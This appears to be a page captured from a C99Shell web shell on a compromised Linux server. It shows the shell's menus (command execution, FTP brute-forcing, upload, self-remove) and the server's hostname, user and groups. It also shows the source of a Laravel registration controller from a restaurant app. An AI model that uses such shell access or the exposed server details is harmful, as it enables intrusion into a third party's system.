!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-163-generic #173-Ubuntu SMP Tue Oct 14 17:51:00 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/wataxi.picotech.app/public_html/app/Http/Controllers/Auth/   drwxr-xr-x
Free 23.25 GB of 117.98 GB (19.71%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     RegisterController.php (3.17 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace App\Http\Controllers\Auth;

use 
App\Http\Controllers\Controller;
use 
App\Notifications\WelcomeNotification;
use 
App\User;
use 
Illuminate\Foundation\Auth\RegistersUsers;
use 
Illuminate\Http\Request;
use 
Illuminate\Support\Facades\Hash;
use 
Illuminate\Support\Facades\Validator;
use 
Illuminate\Support\Str;
use 
App\Events\NewClient;
use 
App\Restorant;

class 
RegisterController extends Controller
{
    
/*
    |--------------------------------------------------------------------------
    | Register Controller
    |--------------------------------------------------------------------------
    |
    | This controller handles the registration of new users as well as their
    | validation and creation. By default this controller uses a trait to
    | provide this functionality without requiring any additional code.
    |
    */

    
use RegistersUsers;


    
/**
     * Create a new controller instance.
     *
     * @return void
     */
    
public function __construct()
    {
        
$this->middleware('guest');
    }

    public function 
redirectTo()
    {
        
$lastVendor=session('last_visited_restaurant_alias',null);
        if(
$lastVendor&&auth()->user()->hasRole('client')){
            
//Fire the event, NewClient
            
NewClient::dispatch(auth()->user(),Restorant::where('subdomain',$lastVendor)->first());
            return 
route('vendrobyalias',['alias'=>$lastVendor]);
        }else{
            return 
route('home');
        }
        
    }

    
/**
     * Get a validator for an incoming registration request.
     *
     * @param  array  $data
     * @return \Illuminate\Contracts\Validation\Validator
     */
    
protected function validator(array $data)
    {
        
$rules = [
            
'name' => ['required''string''max:255'],
            
'email' => ['required''string''email''max:255''unique:users'],
            
'phone' => ['required''string''regex:/^([0-9\s\-\+\(\)]*)$/'],
            
'password' => ['required''string''min:8''confirmed'],
        ];
        if (
strlen(config('settings.recaptcha_site_key')) > 2) {
            
$rules['g-recaptcha-response'] = 'recaptcha';
        }
        if (
config('settings.enable_birth_date_on_register') && config('settings.minimum_years_to_register')) {
            
$rules['birth_date'] = 'required|date|date_format:Y-m-d|before:-'.config('settings.minimum_years_to_register').' years';
        }
        
//dd($rules);
        
return Validator::make($data$rules);
    }

    
/**
     * Create a new user instance after a valid registration.
     *
     * @param  array  $data
     * @return \App\User
     */
    
protected function create(array $data)
    {
        
$user User::create([
            
'name' => $data['name'],
            
'email' => $data['email'],
            
'phone' => $data['phone'],
            
'password' => Hash::make($data['password']),
            
'api_token' => Str::random(80),
            
'birth_date' => isset($data['birth_date']) ? $data['birth_date'] : '',
        ]);

        
$user->assignRole('client');

        
//Send welcome email
        
return $user;
    }

    protected function 
registered(Request $requestUser $user)
    {
        return 
redirect($this->redirectPath());
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0039 ]--